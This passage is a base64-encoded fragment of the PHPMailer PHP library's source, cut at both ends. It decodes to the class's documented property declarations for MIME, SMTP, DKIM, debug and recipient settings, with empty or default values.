QgTUlNRSBtZXNzYWdlIGJvZHkuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FQm9keSA9ICcnOwogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CiAgICAvKioKICAgICAqIEV4dHJhIGhlYWRlcnMgdGhhdCBjcmVhdGVIZWFkZXIoKSBkb2Vzbid0IGZvbGQgaW4uCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkICRtYWlsSGVhZGVyID0gJyc7CiAgICAvKioKICAgICAqIFdvcmQtd3JhcCB0aGUgbWVzc2FnZSBib2R5IHRvIHRoaXMgbnVtYmVyIG9mIGNoYXJzLgogICAgICogU2V0IHRvIDAgdG8gbm90IHdyYXAuIEEgdXNlZnVsIHZhbHVlIGhlcmUgaXMgNzgsIGZvciBSRkMyODIyIHNlY3Rpb24gMi4xLjEgY29tcGxpYW5jZS4KICAgICAqCiAgICAgKiBAc2VlIHN0YXRpYzo6U1REX0xJTkVfTEVOR1RICiAgICAgKgogICAgICogQHZhciBpbnQKICAgICAqLwogICAgcHVibGljICRXb3JkV3JhcCA9IDA7CiAgICAvKioKICAgICAqIFdoaWNoIG1ldGhvZCB0byB1c2UgdG8gc2VuZCBtYWlsLgogICAgICogT3B0aW9uczogIm1haWwiLCAic2VuZG1haWwiLCBvciAic210cCIuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRNYWlsZXIgPSAnbWFpbCc7CiAgICAvKioKICAgICAqIFRoZSBwYXRoIHRvIHRoZSBzZW5kbWFpbCBwcm9ncmFtLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgIC8qKgogICAgICogV2hldGhlciBtYWlsKCkgdXNlcyBhIGZ1bGx5IHNlbmRtYWlsLWNvbXBhdGlibGUgTVRBLgogICAgICogT25lIHdoaWNoIHN1cHBvcnRzIHNlbmRtYWlsJ3MgIi1vaSAtZiIgb3B0aW9ucy4KICAgICAqCiAgICAgKiBAdmFyIGJvb2wKICAgICAqLwogICAgcHVibGljICRVc2VTZW5kbWFpbE9wdGlvbnMgPSB0cnVlOwogICAgLyoqCiAgICAgKiBUaGUgZW1haWwgYWRkcmVzcyB0aGF0IGEgcmVhZGluZyBjb25maXJtYXRpb24gc2hvdWxkIGJlIHNlbnQgdG8sIGFsc28ga25vd24gYXMgcmVhZCByZWNlaXB0LgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwogICAgLyoqCiAgICAgKiBUaGUgaG9zdG5hbWUgdG8gdXNlIGluIHRoZSBNZXNzYWdlLUlEIGhlYWRlciBhbmQgYXMgZGVmYXVsdCBIRUxPIHN0cmluZy4KICAgICAqIElmIGVtcHR5LCBQSFBNYWlsZXIgYXR0ZW1wdHMgdG8gZmluZCBvbmUgd2l0aCwgaW4gb3JkZXIsCiAgICAgKiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSwgZ2V0aG9zdG5hbWUoKSwgcGhwX3VuYW1lKCduJyksIG9yIHRoZSB2YWx1ZQogICAgICogJ2xvY2FsaG9zdC5sb2NhbGRvbWFpbicuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwogICAgLyoqCiAgICAgKiBBbiBJRCB0byBiZSB1c2VkIGluIHRoZSBNZXNzYWdlLUlEIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCBhIHVuaXF1ZSBpZCB3aWxsIGJlIGdlbmVyYXRlZC4KICAgICAqIFlvdSBjYW4gc2V0IHlvdXIgb3duLCBidXQgaXQgbXVzdCBiZSBpbiB0aGUgZm9ybWF0ICI8aWRAZG9tYWluPiIsCiAgICAgKiBhcyBkZWZpbmVkIGluIFJGQzUzMjIgc2VjdGlvbiAzLjYuNCBvciBpdCB3aWxsIGJlIGlnbm9yZWQuCiAgICAgKgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRNZXNzYWdlSUQgPSAnJzsKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRNZXNzYWdlRGF0ZSA9ICcnOwogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEhvc3QgPSAnbG9jYWxob3N0JzsKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqCiAgICAgKiBAdmFyIGludAogICAgICovCiAgICBwdWJsaWMgJFBvcnQgPSAyNTsKICAgIC8qKgogICAgICogVGhlIFNNVFAgSEVMTyBvZiB0aGUgbWVzc2FnZS4KICAgICAqIERlZmF1bHQgaXMgJEhvc3RuYW1lLiBJZiAkSG9zdG5hbWUgaXMgZW1wdHksIFBIUE1haWxlciBhdHRlbXB0cyB0byBmaW5kCiAgICAgKiBvbmUgd2l0aCB0aGUgc2FtZSBtZXRob2QgZGVzY3JpYmVkIGFib3ZlIGZvciAkSG9zdG5hbWUuCiAgICAgKgogICAgICogQHNlZSBQSFBNYWlsZXI6OiRIb3N0bmFtZQogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwogICAgLyoqCiAgICAgKiBXaGF0IGtpbmQgb2YgZW5jcnlwdGlvbiB0byB1c2Ugb24gdGhlIFNNVFAgY29ubmVjdGlvbi4KICAgICAqIE9wdGlvbnM6ICcnLCAnc3NsJyBvciAndGxzJy4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNNVFBTZWN1cmUgPSAnJzsKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICoKICAgICAqIEB2YXIgYm9vbAogICAgICovCiAgICBwdWJsaWMgJFNNVFBBdXRvVExTID0gdHJ1ZTsKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICoKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokVXNlcm5hbWUKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokUGFzc3dvcmQKICAgICAqCiAgICAgKiBAdmFyIGJvb2wKICAgICAqLwogICAgcHVibGljICRTTVRQQXV0aCA9IGZhbHNlOwogICAgLyoqCiAgICAgKiBPcHRpb25zIGFycmF5IHBhc3NlZCB0byBzdHJlYW1fY29udGV4dF9jcmVhdGUgd2hlbiBjb25uZWN0aW5nIHZpYSBTTVRQLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHVibGljICRTTVRQT3B0aW9ucyA9IFtdOwogICAgLyoqCiAgICAgKiBTTVRQIHVzZXJuYW1lLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKICAgIC8qKgogICAgICogU01UUCBwYXNzd29yZC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CiAgICAvKioKICAgICAqIFNNVFAgYXV0aCB0eXBlLgogICAgICogT3B0aW9ucyBhcmUgQ1JBTS1NRDUsIExPR0lOLCBQTEFJTiwgWE9BVVRIMiwgYXR0ZW1wdGVkIGluIHRoYXQgb3JkZXIgaWYgbm90IHNwZWNpZmllZC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEF1dGhUeXBlID0gJyc7CiAgICAvKioKICAgICAqIEFuIGluc3RhbmNlIG9mIHRoZSBQSFBNYWlsZXIgT0F1dGggY2xhc3MuCiAgICAgKgogICAgICogQHZhciBPQXV0aAogICAgICovCiAgICBwcm90ZWN0ZWQgJG9hdXRoOwogICAgLyoqCiAgICAgKiBUaGUgU01UUCBzZXJ2ZXIgdGltZW91dCBpbiBzZWNvbmRzLgogICAgICogRGVmYXVsdCBvZiA1IG1pbnV0ZXMgKDMwMHNlYykgaXMgZnJvbSBSRkMyODIxIHNlY3Rpb24gNC41LjMuMi4KICAgICAqCiAgICAgKiBAdmFyIGludAogICAgICovCiAgICBwdWJsaWMgJFRpbWVvdXQgPSAzMDA7CiAgICAvKioKICAgICAqIENvbW1hIHNlcGFyYXRlZCBsaXN0IG9mIERTTiBub3RpZmljYXRpb25zCiAgICAgKiAnTkVWRVInIHVuZGVyIG5vIGNpcmN1bXN0YW5jZXMgYSBEU04gbXVzdCBiZSByZXR1cm5lZCB0byB0aGUgc2VuZGVyLgogICAgICogICAgICAgICBJZiB5b3UgdXNlIE5FVkVSIGFsbCBvdGhlciBub3RpZmljYXRpb25zIHdpbGwgYmUgaWdub3JlZC4KICAgICAqICdTVUNDRVNTJyB3aWxsIG5vdGlmeSB5b3Ugd2hlbiB5b3VyIG1haWwgaGFzIGFycml2ZWQgYXQgaXRzIGRlc3RpbmF0aW9uLgogICAgICogJ0ZBSUxVUkUnIHdpbGwgYXJyaXZlIGlmIGFuIGVycm9yIG9jY3VycmVkIGR1cmluZyBkZWxpdmVyeS4KICAgICAqICdERUxBWScgICB3aWxsIG5vdGlmeSB5b3UgaWYgdGhlcmUgaXMgYW4gdW51c3VhbCBkZWxheSBpbiBkZWxpdmVyeSwgYnV0IHRoZSBhY3R1YWwKICAgICAqICAgICAgICAgICBkZWxpdmVyeSdzIG91dGNvbWUgKHN1Y2Nlc3Mgb3IgZmFpbHVyZSkgaXMgbm90IHlldCBkZWNpZGVkLgogICAgICoKICAgICAqIEBzZWUgaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzM0NjEgU2VlIHNlY3Rpb24gNC4xIGZvciBtb3JlIGluZm9ybWF0aW9uIGFib3V0IE5PVElGWQogICAgICovCiAgICBwdWJsaWMgJGRzbiA9ICcnOwogICAgLyoqCiAgICAgKiBTTVRQIGNsYXNzIGRlYnVnIG91dHB1dCBtb2RlLgogICAgICogRGVidWcgb3V0cHV0IGxldmVsLgogICAgICogT3B0aW9uczoKICAgICAqICogYDBgIE5vIG91dHB1dAogICAgICogKiBgMWAgQ29tbWFuZHMKICAgICAqICogYDJgIERhdGEgYW5kIGNvbW1hbmRzCiAgICAgKiAqIGAzYCBBcyAyIHBsdXMgY29ubmVjdGlvbiBzdGF0dXMKICAgICAqICogYDRgIExvdy1sZXZlbCBkYXRhIG91dHB1dC4KICAgICAqCiAgICAgKiBAc2VlIFNNVFA6OiRkb19kZWJ1ZwogICAgICoKICAgICAqIEB2YXIgaW50CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUERlYnVnID0gMDsKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqIEJ5IGRlZmF1bHQgUEhQTWFpbGVyIHdpbGwgdXNlIGBlY2hvYCBpZiBydW4gZnJvbSBhIGBjbGlgIG9yIGBjbGktc2VydmVyYCBTQVBJLCBgaHRtbGAgb3RoZXJ3aXNlLgogICAgICogQWx0ZXJuYXRpdmVseSwgeW91IGNhbiBwcm92aWRlIGEgY2FsbGFibGUgZXhwZWN0aW5nIHR3byBwYXJhbXM6IGEgbWVzc2FnZSBzdHJpbmcgYW5kIHRoZSBkZWJ1ZyBsZXZlbDoKICAgICAqCiAgICAgKiBgYGBwaHAKICAgICAqICRtYWlsLT5EZWJ1Z291dHB1dCA9IGZ1bmN0aW9uKCRzdHIsICRsZXZlbCkge2VjaG8gImRlYnVnIGxldmVsICRsZXZlbDsgbWVzc2FnZTogJHN0ciI7fTsKICAgICAqIGBgYAogICAgICoKICAgICAqIEFsdGVybmF0aXZlbHksIHlvdSBjYW4gcGFzcyBpbiBhbiBpbnN0YW5jZSBvZiBhIFBTUi0zIGNvbXBhdGlibGUgbG9nZ2VyLCB0aG91Z2ggb25seSBgZGVidWdgCiAgICAgKiBsZXZlbCBvdXRwdXQgaXMgdXNlZDoKICAgICAqCiAgICAgKiBgYGBwaHAKICAgICAqICRtYWlsLT5EZWJ1Z291dHB1dCA9IG5ldyBteVBzcjNMb2dnZXI7CiAgICAgKiBgYGAKICAgICAqCiAgICAgKiBAc2VlIFNNVFA6OiREZWJ1Z291dHB1dAogICAgICoKICAgICAqIEB2YXIgc3RyaW5nfGNhbGxhYmxlfFxQc3JcTG9nXExvZ2dlckludGVyZmFjZQogICAgICovCiAgICBwdWJsaWMgJERlYnVnb3V0cHV0ID0gJ2VjaG8nOwogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIGtlZXAgU01UUCBjb25uZWN0aW9uIG9wZW4gYWZ0ZXIgZWFjaCBtZXNzYWdlLgogICAgICogSWYgdGhpcyBpcyBzZXQgdG8gdHJ1ZSB0aGVuIHRvIGNsb3NlIHRoZSBjb25uZWN0aW9uCiAgICAgKiByZXF1aXJlcyBhbiBleHBsaWNpdCBjYWxsIHRvIHNtdHBDbG9zZSgpLgogICAgICoKICAgICAqIEB2YXIgYm9vbAogICAgICovCiAgICBwdWJsaWMgJFNNVFBLZWVwQWxpdmUgPSBmYWxzZTsKICAgIC8qKgogICAgICogV2hldGhlciB0byBzcGxpdCBtdWx0aXBsZSB0byBhZGRyZXNzZXMgaW50byBtdWx0aXBsZSBtZXNzYWdlcwogICAgICogb3Igc2VuZCB0aGVtIGFsbCBpbiBvbmUgbWVzc2FnZS4KICAgICAqIE9ubHkgc3VwcG9ydGVkIGluIGBtYWlsYCBhbmQgYHNlbmRtYWlsYCB0cmFuc3BvcnRzLCBub3QgaW4gU01UUC4KICAgICAqCiAgICAgKiBAdmFyIGJvb2wKICAgICAqLwogICAgcHVibGljICRTaW5nbGVUbyA9IGZhbHNlOwogICAgLyoqCiAgICAgKiBTdG9yYWdlIGZvciBhZGRyZXNzZXMgd2hlbiBTaW5nbGVUbyBpcyBlbmFibGVkLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHJvdGVjdGVkICRTaW5nbGVUb0FycmF5ID0gW107CiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gZ2VuZXJhdGUgVkVSUCBhZGRyZXNzZXMgb24gc2VuZC4KICAgICAqIE9ubHkgYXBwbGljYWJsZSB3aGVuIHNlbmRpbmcgdmlhIFNNVFAuCiAgICAgKgogICAgICogQHNlZSBodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9WYXJpYWJsZV9lbnZlbG9wZV9yZXR1cm5fcGF0aAogICAgICogQHNlZSBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqCiAgICAgKiBAdmFyIGJvb2wKICAgICAqLwogICAgcHVibGljICRkb192ZXJwID0gZmFsc2U7CiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKgogICAgICogQHZhciBib29sCiAgICAgKi8KICAgIHB1YmxpYyAkQWxsb3dFbXB0eSA9IGZhbHNlOwogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9zZWxlY3RvciA9ICcnOwogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9pZGVudGl0eSA9ICcnOwogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fcGFzc3BocmFzZSA9ICcnOwogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKgogICAgICogQGV4YW1wbGUgJ2V4YW1wbGUuY29tJwogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9kb21haW4gPSAnJzsKICAgIC8qKgogICAgICogREtJTSBDb3B5IGhlYWRlciBmaWVsZCB2YWx1ZXMgZm9yIGRpYWdub3N0aWMgdXNlLgogICAgICoKICAgICAqIEB2YXIgYm9vbAogICAgICovCiAgICBwdWJsaWMgJERLSU1fY29weUhlYWRlckZpZWxkcyA9IHRydWU7CiAgICAvKioKICAgICAqIERLSU0gRXh0cmEgc2lnbmluZyBoZWFkZXJzLgogICAgICoKICAgICAqIEBleGFtcGxlIFsnTGlzdC1VbnN1YnNjcmliZScsICdMaXN0LUhlbHAnXQogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHVibGljICRES0lNX2V4dHJhSGVhZGVycyA9IFtdOwogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fcHJpdmF0ZSA9ICcnOwogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqCiAgICAgKiBJZiBzZXQsIHRha2VzIHByZWNlZGVuY2Ugb3ZlciBgJERLSU1fcHJpdmF0ZWAuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3ByaXZhdGVfc3RyaW5nID0gJyc7CiAgICAvKioKICAgICAqIENhbGxiYWNrIEFjdGlvbiBmdW5jdGlvbiBuYW1lLgogICAgICoKICAgICAqIFRoZSBmdW5jdGlvbiB0aGF0IGhhbmRsZXMgdGhlIHJlc3VsdCBvZiB0aGUgc2VuZCBlbWFpbCBhY3Rpb24uCiAgICAgKiBJdCBpcyBjYWxsZWQgb3V0IGJ5IHNlbmQoKSBmb3IgZWFjaCBlbWFpbCBzZW50LgogICAgICoKICAgICAqIFZhbHVlIGNhbiBiZSBhbnkgcGhwIGNhbGxhYmxlOiBodHRwOi8vd3d3LnBocC5uZXQvaXNfY2FsbGFibGUKICAgICAqCiAgICAgKiBQYXJhbWV0ZXJzOgogICAgICogICBib29sICRyZXN1bHQgICAgICAgIHJlc3VsdCBvZiB0aGUgc2VuZCBhY3Rpb24KICAgICAqICAgYXJyYXkgICAkdG8gICAgICAgICAgICBlbWFpbCBhZGRyZXNzZXMgb2YgdGhlIHJlY2lwaWVudHMKICAgICAqICAgYXJyYXkgICAkY2MgICAgICAgICAgICBjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgYXJyYXkgICAkYmNjICAgICAgICAgICBiY2MgZW1haWwgYWRkcmVzc2VzCiAgICAgKiAgIHN0cmluZyAgJHN1YmplY3QgICAgICAgdGhlIHN1YmplY3QKICAgICAqICAgc3RyaW5nICAkYm9keSAgICAgICAgICB0aGUgZW1haWwgYm9keQogICAgICogICBzdHJpbmcgICRmcm9tICAgICAgICAgIGVtYWlsIGFkZHJlc3Mgb2Ygc2VuZGVyCiAgICAgKiAgIHN0cmluZyAgJGV4dHJhICAgICAgICAgZXh0cmEgaW5mb3JtYXRpb24gb2YgcG9zc2libGUgdXNlCiAgICAgKiAgICAgICAgICAgICAgICAgICAgICAgICAgInNtdHBfdHJhbnNhY3Rpb25faWQnID0+IGxhc3Qgc210cCB0cmFuc2FjdGlvbiBpZAogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CiAgICAvKioKICAgICAqIFdoYXQgdG8gcHV0IGluIHRoZSBYLU1haWxlciBoZWFkZXIuCiAgICAgKiBPcHRpb25zOiBBbiBlbXB0eSBzdHJpbmcgZm9yIFBIUE1haWxlciBkZWZhdWx0LCB3aGl0ZXNwYWNlIGZvciBub25lLCBvciBhIHN0cmluZyB0byB1c2UuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRYTWFpbGVyID0gJyc7CiAgICAvKioKICAgICAqIFdoaWNoIHZhbGlkYXRvciB0byB1c2UgYnkgZGVmYXVsdCB3aGVuIHZhbGlkYXRpbmcgZW1haWwgYWRkcmVzc2VzLgogICAgICogTWF5IGJlIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgYnV0IHRoZXJlIGFyZSBzZXZlcmFsIGJ1aWx0LWluIHZhbGlkYXRvcnMuCiAgICAgKiBUaGUgZGVmYXVsdCB2YWxpZGF0b3IgdXNlcyBQSFAncyBGSUxURVJfVkFMSURBVEVfRU1BSUwgZmlsdGVyX3ZhciBvcHRpb24uCiAgICAgKgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKgogICAgICogQHZhciBzdHJpbmd8Y2FsbGFibGUKICAgICAqLwogICAgcHVibGljIHN0YXRpYyAkdmFsaWRhdG9yID0gJ3BocCc7CiAgICAvKioKICAgICAqIEFuIGluc3RhbmNlIG9mIHRoZSBTTVRQIHNlbmRlciBjbGFzcy4KICAgICAqCiAgICAgKiBAdmFyIFNNVFAKICAgICAqLwogICAgcHJvdGVjdGVkICRzbXRwOwogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IFtdOwogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IFtdOwogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gW107CiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gW107CiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MuCiAgICAgKgogICAgICogQHNlZSBQSFBNYWlsZXI6OiR0bwogICAgICogQHNlZSBQSFBNYWlsZXI6OiRjYwogICAgICogQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHByb3RlY3RlZCAkYWxsX3JlY2lwaWVudHMgPSBbXTsKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRhbGxfcmVjaXBpZW50cwogICAgICogYW5kIG9uZSBvZiAkdG8sICRjYywgb3IgJGJjYy4KICAgICAqIFRoaXMgYXJyYXkgaXMgdXNlZCBvbmx5IGZvciBhZGRyZXNzZXMgd2l0aCBJRE4uCiAgICAgKgogICAgICogQHNlZSBQSFBNYWlsZXI6OiR0bwogICAgICogQHNlZSBQSFBNYWlsZXI6OiRjYwogICAgICogQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHByb3RlY3RlZCAkUmVjaXBpZW50c1F1ZXVlID0gW107CiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIHJlcGx5LXRvIG5hbWVzIGFuZCBhZGRyZXNzZXMgcXVldWVkIGZvciB2YWxpZGF0aW9uLgogICAgICogSW4gc2VuZCgpLCB2YWxpZCBhbmQgbm9uIGR1cGxpY2F0ZSBlbnRyaWVzIGFyZSBtb3ZlZCB0byAkUmVwbHlUby4KICAgICAqIFRoaXMgYXJyYXkgaXMgdXNlZCBvbmx5IGZvciBhZGRyZXNzZXMgd2l0aCBJRE4uCiAgICAgKgogICAgICogQHNlZSBQSFBNYWlsZXI6OiRSZXBseVRvCiAgICAgKgogICAgICogQHZhciBhcnJheQogICAgICovCiAgICBwcm90ZWN0ZWQgJFJlcGx5VG9RdWV1ZSA9IFtdOwogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKgogICAgICogQHZhciBhcnJheQogICAgICovCiAgICBwcm90ZWN0ZWQgJGF0dGFjaG1lbnQgPSBbXTsKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGN1c3RvbSBoZWFkZXJzLgogICAgICoKICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHJvdGVjdGVkICRDdXN0b21IZWFkZXIgPSBbXTsKICAgIC8qKgogICAgICogVGhlIG1vc3QgcmVjZW50IE1lc3NhZ2UtSUQgKGluY2x1ZGluZyBhbmd1bGFyIGJyYWNrZXRzKS4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhc3RNZXNzYWdlSUQgPSAnJzsKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UncyBNSU1FIHR5cGUuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkICRtZXNzYWdlX3R5cGUgPSAnJzsKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBbXTsKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFn